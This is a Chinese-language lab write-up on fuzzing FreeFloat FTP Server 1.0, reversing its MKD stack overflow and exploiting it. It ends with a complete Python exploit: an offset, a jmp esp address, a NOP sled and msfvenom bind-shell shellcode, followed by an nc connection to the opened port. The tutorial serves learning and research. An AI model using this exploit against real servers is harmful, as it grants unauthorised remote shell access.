fuzzing-01-freefloatftpserver1.0分析和利用

0x00前言

本人剛開始學習fuzzing,對於最簡單的棧溢出,進行了詳細的分析,思路還有點亂,以後將繼續學習。
目標:winxp sp3
源:win10(python)
軟件:freefloatftp、Ollydbg、Immunity Debugger、IDA、FTPfuzz、msfvenom(Metasploit)
壞字符 : ‘\x00\x0A\x0D’

0x00.1

壞字符:就是這幾個字符會讓我們的程序進入其他的函數,造成我們無法正常對程序進行分析,後面會介紹

0x01開始:軟件的逆向

先下載ftpfuzz,然後對ftp軟件進行fuzzing
開啓服務
開啓服務
fuzzing開始
開始fuzz
fuzzing開始運行後,發送字符串,然後發現ABOR就down了,字節爲700
fuzz
然後發現xp中的ftp服務器已關閉
溢出
確實存在漏洞。
現在開始詳細定位漏洞在哪裏
然後去下一個playload
代碼如下

import socket
import sys
evil = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9"
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect=s.connect(('175.7.112.137',21))
s.recv(1024)
s.send('USER anonymous\r\n')
s.recv(1024)
s.send('PASS anonymous\r\n')
s.recv(1024)
s.send('MKD ' + evil + '\r\n')
s.recv(1024)
s.send('QUIT\r\n')
s.close

使用mona插件生成600個測試字符:!mona pattern_create 600,ImmDebug會在調試器根目錄下生成一個以pattern命名的.txt文件,此文件中就保存的則是我們的600個測試字符
打開immdebug,
生成600
生成隨機字符串,其實不用插件也可以,這樣就要你自己輸入700字符了
然後丟給腳本
然後用immdebug運行ftp軟件,然後按F9,運行軟件,然後再運行一次腳本,就會發現報錯了
報錯
這裏發現他的內存溢出了,然後怎麼應用,暫時放後面,我們先看他的代碼是哪裏出錯的
我們先用ollydebug找到他的程序是哪裏開始的
入口
加載之後,再反彙編頁面,右鍵選擇中文搜索
string
然後選擇unicode,爲什麼不用ascii,因爲我找過了,他裏面的字符是unicode編碼的
報錯2
發現再這裏,有他的登陸歡迎信息,然後這裏記住他的內存地址0x00402ff4
然後再immdebug打開ftp軟件,然後跳轉到這個地址
ctrl+g
10
然後發現這裏歡迎後面有一個call,再這裏下一個斷點
11
找到程序入口後,然後按F9讓程序運行起來,然後使用playload對ftp攻擊
發現他停在這個地方了,F8單步跟程序
12
(這裏不能急,要多試幾次,因爲要定位到到底哪個call造成了程序出錯,然後發現試再0X00403065這個call,然後繼續下斷點,然後F7跟進去)
13
發現就是這個函數
然後讓我們具體看看這個函數做了什麼
14
這裏其實已經有一點影子了
PUSH EBX 把EBX的值壓入榨
15
MOV EBX,ECX 把ecx的值給ebx
16
PUSH EBP 把ebp的值壓入棧(學一些逆向,知道試把kernel32的一個函數地址壓入棧了)
17
PUSH ESI esi的值壓入棧
18
MOV EDX,DWORD PTR DS:[EBX+18] 把ebx+18這個地址裏面的內容,根據dword四字節的長度給edx
ebx = 009212a8(一個堆)
19
大家可以去學一下
20

MOV EAX,DWORD PTR DS:[EBX+14] 把14偏移的給eax,然後發現試一個地址,也在堆中
可以縫分析發現edx就是我們發送字符的長度(十六進制下的10)
21

PUSH EDI edi入棧
22

XOR EBP,EBP
XOR ESI,ESI
XOR EDI,EDI
以上三條,清空了這三個寄存器
23

xor,自己去百度一下就知道了,異或
TEST EDX,EDX 把他的值與一下,改變標誌寄存器
24

JLE SHORT FTPServe.00402133
這個就是根據上面影響了的標誌寄存器來判斷的小於等於/不大於時轉移
所以不跳轉,繼續走
/MOV CL,BYTE PTR DS:[EAX]
把eax的一個字節給CL,就是低位
25
可以發現,就把一個字符給他了
|CMP CL,0D 和0D對比 改變了標誌寄存器
26
|JE SHORT FTPServe.0040210A 判斷Z位是否爲1 ZF=1,轉至標號處執
|CMP CL,0A繼續判斷0A 照樣不跳轉(就是這裏,所以0A0D爲壞字符)
0A 0D就是判斷他是否是回車指令
27

JE SHORT FTPServe.0040212A 不跳轉
INC EDI 然後EDI+1
|INC EAX EAX+1
28

發現他是eax開始判斷下一個字符,所以這一段代碼,就是判斷我們指令中是否有回車
和EDX是不是相同,因爲要全部字符都匹配好
JL SHORT FTPServe.004020F6 小於/不大於等於時轉移
然後跳轉回開頭,繼續判斷(循環了10H次)

JMP SHORT FTPServe.00402133 16次結束後
MOV BYTE PTR DS:[EAX],0 把0給EAX指向的地址,就是他最後一個地址

29
|CMP EDI,EDX 對比EDI
本來就是0,沒變
MOV ECX,DWORD PTR DS:[EBX+18] 和前面的一樣把,把他的值給ecx

30
就是把字符串的長度給了ecx
LEA EBP,DWORD PTR DS:[EDI+1] 取出EDI+1的值給ebp
31

CMP EBP,ECX 比較ecx和ebp
32

JGE SHORT FTPServe.00402125 大於等於/不小於時轉移 不跳轉
CMP BYTE PTR DS:[EAX+1],0A 繼續對比
JNZ SHORT FTPServe.00402125 ZF=0,轉至標號處執行 繼續不跳轉

33
LEA ESI,DWORD PTR DS:[EAX+2] 把eax+2的值給esi
這裏寫圖片描述

LEA EBP,DWORD PTR DS:[EDI+2] edi+2的值給ebp
35

JMP SHORT FTPServe.00402133 跳轉至 00402133
36

LEA ESI,DWORD PTR DS:[EAX+1]   
JMP SHORT FTPServe.00402133
 MOV BYTE PTR DS:[EAX],0
 LEA ESI,DWORD PTR DS:[EAX+1]
LEA EBP,DWORD PTR DS:[EDI+1]

直接到這

CMP EDI,DWORD PTR DS:[EBX+18]

37

對比
JGE SHORT FTPServe.0040217B
MOV ECX,EBX
38

CALL FTPServe.00402190
壞字符解釋完了,現在開始代碼真正有問題的地方
繼續跟我們的這個函數,然後我這邊直接到我們600字節代碼開始

39
然後我們一直F8,發現他的有問題函數,和上面一樣,要多試幾次
這裏可能有點難,因爲他前面有好幾個請求,要循環好幾次,才找到有問題的點
0x004028ED 一直F8調試了幾次,發現出錯是這個函數
然後我們再看看這個函數什麼錯誤
00402DE0 /$ SUB ESP,100 棧頂提高100H
00402DE6 | PUSH EBX EBX入棧
00402DE7 |MOV EBX,ECX 把ECX的值給EBX
00402DE9 |MOV ECX,DWORD PTR SS:[ESP+108] 這個就是把之前棧頂的後八偏移給ECX
就是局部變量
00402DF0 |MOV EAX,51EB851F 賦值
00402DF5 |IMUL ECX 完成兩個帶符號數的相乘
00402DF7 |SAR EDX,5 本指令通常用於對帶符號數減半的運算中,因而在每次右移時,保持最高位(符號位)不變,最低位右移至CF中.
00402DFA |MOV EAX,EDX
00402DFC |PUSH EBP EBP中記錄了我們傳過來數據的一些信息,可以根據這個偏移
00402DFD |SHR EAX,1F 本指令實現由COUNT決定次數的邏輯右移操作,每次移位時,最高位補0,最低位移至標誌位CF中.
40

00402E00 |ADD EDX,EAX 兩數相加
41

本來就是0
00402E02 |MOV EAX,66666667
42

00402E07 | ADD DL,30
00402E0A |PUSH ESI
00402E0B |MOV BYTE PTR SS:[ESP+C],DL
00402E0F |IMUL ECX
00402E11 | MOV EAX,EDX
00402E13 |MOV ESI,0A
00402E18 |SAR EAX,2
00402E1B |MOV EDX,EAX
00402E1D |PUSH EDI
43

前面有很多的操作,我就不一一翻譯了,大家自己可以去跟蹤分析下什麼意思
現在EDI指向了我們發送過來的命令,然後發現他入棧了
00402E1E |SHR EDX,1F
00402E21 |ADD EAX,EDX
00402E23 |MOV EDI,DWORD PTR SS:[ESP+118]

44

00402E2A |CDQ
00402E2B |IDIV ESI
00402E2D |MOV EAX,ECX
00402E2F |MOV ECX,ESI
00402E31 |MOV BYTE PTR SS:[ESP+13],20
00402E36 |ADD DL,30
00402E39 |MOV BYTE PTR SS:[ESP+11],DL
00402E3D |CDQ
00402E3E |IDIV ECX
00402E40 |OR ECX,FFFFFFFF
00402E43 |XOR EAX,EAX
00402E45 |ADD DL,30(馬上開始溢出了)

45

00402E48 |REPNE SCAS BYTE PTR ES:[EDI] 字符串搜索指令 不停的重複搜索,計算了我們發送過來命令的字符長度
46

47
48
49
00402E4A |NOT ECX 取反,然後計算出結果
50

277H 就是631
00402E4C |SUB EDI,ECX 爲什麼多了31哥呢?因爲我們前面還有一些驗證信息,然後這邊減去長度,重新把EDI指向我們的發送的命令內容的地址
00402E4E |MOV BYTE PTR SS:[ESP+12],DL
00402E52 |LEA EDX,DWORD PTR SS:[ESP+14] (這裏把我們的一個驗證信息取出來了,可以看到)
51
00402E56 |MOV EAX,ECX
00402E58 |MOV ESI,EDI
00402E5A |MOV EDI,EDX
52

上面三個命令,然後要開始了,注意了
00402E5C |SHR ECX,2
53
00402E5F |REP MOVS DWORD PTR ES:[EDI],DWORD PTR DS> 這裏就是我們溢出的點
是strcpy命令,然後他會計算字符,到/00結束,然後這時候看看我們棧,裏面都記錄了什麼
前面,我們ESP提高了100H也就是256個字節,那麼多出來的怎麼辦,
54

現在棧頂,向下100H後面,是我們程序存的其他信息,也就是說ESP+100之後的值,我們本來是不能動的,動了程序就出錯,可是由於strcpy沒有判斷字符長度,直接進行了複製,造成了棧的溢出

55
這一段,我們不能動,然後繼續看看這個命令做了什麼
56
看着,我再執行一次

57
不停的往棧壓數據,然後看最後的結果會怎麼樣
58

要溢出了
注意了
59

仔細對比相同地址的地方,之前記錄了我們程序retun的地方,全部被覆蓋了
然後一直執行的結果就是
60

到我們00C4EF94之前的棧全部被溢出,然後繼續看最後的結果
00402E61 |MOV ECX,EAX
00402E63 |XOR EAX,EAX
00402E65 |AND ECX,3
00402E68 |LEA EDX,DWORD PTR SS:[ESP+10]
00402E6C |REP MOVS BYTE PTR ES:[EDI],BYTE PTR DS:[>
00402E6E |MOV EDI,FTPServe.0040A588
00402E73 |OR ECX,FFFFFFFF
00402E76 |REPNE SCAS BYTE PTR ES:[EDI]
00402E78 |NOT ECX
00402E7A |SUB EDI,ECX
00402E7C |PUSH EAX ; /Flags => 0
00402E7D |MOV ESI,EDI ; |
00402E7F |MOV EBP,ECX ; |
00402E81 |MOV EDI,EDX ; |
00402E83 |OR ECX,FFFFFFFF ; |
00402E86 |REPNE SCAS BYTE PTR ES:[EDI] ; |
00402E88 |MOV ECX,EBP ; |
00402E8A |DEC EDI ; |
00402E8B |SHR ECX,2 ; |
00402E8E |REP MOVS DWORD PTR ES:[EDI],DWORD PTR DS>; |
00402E90 |MOV ECX,EBP ; |
00402E92 |AND ECX,3 ; |
00402E95 | REP MOVS BYTE PTR ES:[EDI],BYTE PTR DS:[>; |
00402E97 |LEA EDI,DWORD PTR SS:[ESP+14] ; |
00402E9B |OR ECX,FFFFFFFF ; |
00402E9E | REPNE SCAS BYTE PTR ES:[EDI] ; |
00402EA0 | NOT ECX ; |
00402EA2 | DEC ECX ; |
00402EA3 | LEA EAX,DWORD PTR SS:[ESP+14] ; |
00402EA7 |PUSH ECX ; |DataSize
00402EA8 | MOV ECX,DWORD PTR DS:[EBX] ; |
00402EAA |PUSH EAX ; |Data
00402EAB | PUSH ECX ; |Socket
00402EAC | CALL
00402EB1 |POP EDI
00402EB2 | POP ESI
00402EB3 |POP EBP
00402EB4 |POP EBX
00402EB5 |ADD ESP,100(這裏有一個恢復棧到之前的地方,可是這個地方被我們覆蓋了,所以無法正常retn)
00402EBB \RETN 8
61

這裏,return
這裏的地址被我們的地址覆蓋了,所以找不到了,,然後看看IDA中,回更清晰
這裏寫圖片描述

63

明顯的溢出點
那麼到這,我們的逆向的地方就結束了,開始利用

0X02棧溢出的利用

之前知道了,我們retun 8的地方,被我們的字符串給覆蓋了,那麼return 8的地方我們就可以操控了,我們可以讓他跳轉到我們指定的地方,
那我們繼續F8,讓他執行
64
說我們的EIP指向了這個地方,那這個地方怎麼找呢?使用我們的immdebug
65

找到了,發現他再我們的247個字節處,那我們可以開始驗證了,是不是這,修改我們的playload
把之前playload中的evil改成
evil = “A”*247+”B”*4+”C”*749
然後保存,再發送一次
66

發現出錯邊吃42了42是B的十六進制,然後看看棧和寄存器
67

沒錯,那這裏,我們該怎麼用呢?
我們可以使用一個叫JMP ESP的指令,就是跳轉到ESP,就是棧頂指向的地址的地方
現在他指向的是CCCC,那我們先試試,能不能跳轉,因爲這樣,我們就可以控制CCCC的地方,爲什麼又要用jmp ESP的命令呢?因爲這個是retun的地址,就是說我們要跳轉到這個地址,然後這個地址再存我們的命令,那我們可以根據jmp esp,來控制他重新跳回到esp指向的地址,然後esp我們又可以控制,然後就可以控制程序的執行了

然後修改使用!mona jmp -r esp
查找我們系統中,可以是用的地址(這裏的話,就要懂一些逆向知識了,大家可以去自學下爲什麼)
68
發現這麼多,我們選隨機一條

  0x7c86467b : jmp esp |  {PAGE_EXECUTE_READ} [kernel32.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v5.1.2600.5512 (C:\WINDOWS\system32\kernel32.dll)

我選了第一條,然後修改我們的playload,看他能不能正常跳轉
evil = “A”*247+”\x7b\x46\x86\x7c”+”C”*749
然後重新運行一次
69
觀察,他esp的地址,retn之後,看他能不能正常
70

發現成功跳轉
而且esp還+8 了,然後這一塊的內存,就可以添加我們的代碼了,因爲回跳轉回esp,因爲是jmp esp
然後開始生成shellcode
71

大家看到,我繼續F8他就挺住了,因爲CC再彙編中是暫停的意思
現在開始編寫

0x03 exp的編寫

這個時候用到kali2 了,這個時候才發現metasploit的強大
msfvenom -p windows/shell_bind_tcp –payload-options
72

查看看一下,本地生成一個4444的端口,然後我們去連接就好了

msfvenom -p windows/shell_bind_tcp -f python -b '\x00\x0A\x0D'

然後生成一個shellcode

buf =  ""
buf += "\xba\xd3\x99\xaa\xfa\xd9\xca\xd9\x74\x24\xf4\x5e\x31"
buf += "\xc9\xb1\x53\x83\xc6\x04\x31\x56\x0e\x03\x85\x97\x48"
buf += "\x0f\xd5\x40\x0e\xf0\x25\x91\x6f\x78\xc0\xa0\xaf\x1e"
buf += "\x81\x93\x1f\x54\xc7\x1f\xeb\x38\xf3\x94\x99\x94\xf4"
buf += "\x1d\x17\xc3\x3b\x9d\x04\x37\x5a\x1d\x57\x64\xbc\x1c"
buf += "\x98\x79\xbd\x59\xc5\x70\xef\x32\x81\x27\x1f\x36\xdf"
buf += "\xfb\x94\x04\xf1\x7b\x49\xdc\xf0\xaa\xdc\x56\xab\x6c"
buf += "\xdf\xbb\xc7\x24\xc7\xd8\xe2\xff\x7c\x2a\x98\x01\x54"
buf += "\x62\x61\xad\x99\x4a\x90\xaf\xde\x6d\x4b\xda\x16\x8e"
buf += "\xf6\xdd\xed\xec\x2c\x6b\xf5\x57\xa6\xcb\xd1\x66\x6b"
buf += "\x8d\x92\x65\xc0\xd9\xfc\x69\xd7\x0e\x77\x95\x5c\xb1"
buf += "\x57\x1f\x26\x96\x73\x7b\xfc\xb7\x22\x21\x53\xc7\x34"
buf += "\x8a\x0c\x6d\x3f\x27\x58\x1c\x62\x20\xad\x2d\x9c\xb0"
buf += "\xb9\x26\xef\x82\x66\x9d\x67\xaf\xef\x3b\x70\xd0\xc5"
buf += "\xfc\xee\x2f\xe6\xfc\x27\xf4\xb2\xac\x5f\xdd\xba\x26"
buf += "\x9f\xe2\x6e\xd2\x97\x45\xc1\xc1\x5a\x35\xb1\x45\xf4"
buf += "\xde\xdb\x49\x2b\xfe\xe3\x83\x44\x97\x19\x2c\x7b\x34"
buf += "\x97\xca\x11\xd4\xf1\x45\x8d\x16\x26\x5e\x2a\x68\x0c"
buf += "\xf6\xdc\x21\x46\xc1\xe3\xb1\x4c\x65\x73\x3a\x83\xb1"
buf += "\x62\x3d\x8e\x91\xf3\xaa\x44\x70\xb6\x4b\x58\x59\x20"
buf += "\xef\xcb\x06\xb0\x66\xf0\x90\xe7\x2f\xc6\xe8\x6d\xc2"
buf += "\x71\x43\x93\x1f\xe7\xac\x17\xc4\xd4\x33\x96\x89\x61"
buf += "\x10\x88\x57\x69\x1c\xfc\x07\x3c\xca\xaa\xe1\x96\xbc"
buf += "\x04\xb8\x45\x17\xc0\x3d\xa6\xa8\x96\x41\xe3\x5e\x76"
buf += "\xf3\x5a\x27\x89\x3c\x0b\xaf\xf2\x20\xab\x50\x29\xe1"
buf += "\xdb\x1a\x73\x40\x74\xc3\xe6\xd0\x19\xf4\xdd\x17\x24"
buf += "\x77\xd7\xe7\xd3\x67\x92\xe2\x98\x2f\x4f\x9f\xb1\xc5"
buf += "\x6f\x0c\xb1\xcf"

73

然後繼續修改我們的playload

buf =  ""
buf += "\xba\xd3\x99\xaa\xfa\xd9\xca\xd9\x74\x24\xf4\x5e\x31"
buf += "\xc9\xb1\x53\x83\xc6\x04\x31\x56\x0e\x03\x85\x97\x48"
buf += "\x0f\xd5\x40\x0e\xf0\x25\x91\x6f\x78\xc0\xa0\xaf\x1e"
buf += "\x81\x93\x1f\x54\xc7\x1f\xeb\x38\xf3\x94\x99\x94\xf4"
buf += "\x1d\x17\xc3\x3b\x9d\x04\x37\x5a\x1d\x57\x64\xbc\x1c"
buf += "\x98\x79\xbd\x59\xc5\x70\xef\x32\x81\x27\x1f\x36\xdf"
buf += "\xfb\x94\x04\xf1\x7b\x49\xdc\xf0\xaa\xdc\x56\xab\x6c"
buf += "\xdf\xbb\xc7\x24\xc7\xd8\xe2\xff\x7c\x2a\x98\x01\x54"
buf += "\x62\x61\xad\x99\x4a\x90\xaf\xde\x6d\x4b\xda\x16\x8e"
buf += "\xf6\xdd\xed\xec\x2c\x6b\xf5\x57\xa6\xcb\xd1\x66\x6b"
buf += "\x8d\x92\x65\xc0\xd9\xfc\x69\xd7\x0e\x77\x95\x5c\xb1"
buf += "\x57\x1f\x26\x96\x73\x7b\xfc\xb7\x22\x21\x53\xc7\x34"
buf += "\x8a\x0c\x6d\x3f\x27\x58\x1c\x62\x20\xad\x2d\x9c\xb0"
buf += "\xb9\x26\xef\x82\x66\x9d\x67\xaf\xef\x3b\x70\xd0\xc5"
buf += "\xfc\xee\x2f\xe6\xfc\x27\xf4\xb2\xac\x5f\xdd\xba\x26"
buf += "\x9f\xe2\x6e\xd2\x97\x45\xc1\xc1\x5a\x35\xb1\x45\xf4"
buf += "\xde\xdb\x49\x2b\xfe\xe3\x83\x44\x97\x19\x2c\x7b\x34"
buf += "\x97\xca\x11\xd4\xf1\x45\x8d\x16\x26\x5e\x2a\x68\x0c"
buf += "\xf6\xdc\x21\x46\xc1\xe3\xb1\x4c\x65\x73\x3a\x83\xb1"
buf += "\x62\x3d\x8e\x91\xf3\xaa\x44\x70\xb6\x4b\x58\x59\x20"
buf += "\xef\xcb\x06\xb0\x66\xf0\x90\xe7\x2f\xc6\xe8\x6d\xc2"
buf += "\x71\x43\x93\x1f\xe7\xac\x17\xc4\xd4\x33\x96\x89\x61"
buf += "\x10\x88\x57\x69\x1c\xfc\x07\x3c\xca\xaa\xe1\x96\xbc"
buf += "\x04\xb8\x45\x17\xc0\x3d\xa6\xa8\x96\x41\xe3\x5e\x76"
buf += "\xf3\x5a\x27\x89\x3c\x0b\xaf\xf2\x20\xab\x50\x29\xe1"
buf += "\xdb\x1a\x73\x40\x74\xc3\xe6\xd0\x19\xf4\xdd\x17\x24"
buf += "\x77\xd7\xe7\xd3\x67\x92\xe2\x98\x2f\x4f\x9f\xb1\xc5"
buf += "\x6f\x0c\xb1\xcf"

buffer = "\x90"*20 + buf
evil = "A"*247 + "\x7b\x46\x86\x7c" + buffer + "C"*(749-len(buffer))

我們用payload插入現在CCCC…地方, 如果插入的payload長度不固定, 我們希望緩衝區長度動態修改以便我們不需要重新計算長度. 還應該插入一些NOP’s(空操作= \x90) 填充在payload前面.
變成這樣,然後繼續現在開始了,馬上就結束了,
現在本地打開nc -nv 175.7.112.137 4444,去連接
先發送playload
74
打開了一個4444端口
然後

75
成功連接

0x04最後

本次是最簡單的實驗,我將繼續深入學習fuzzing

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章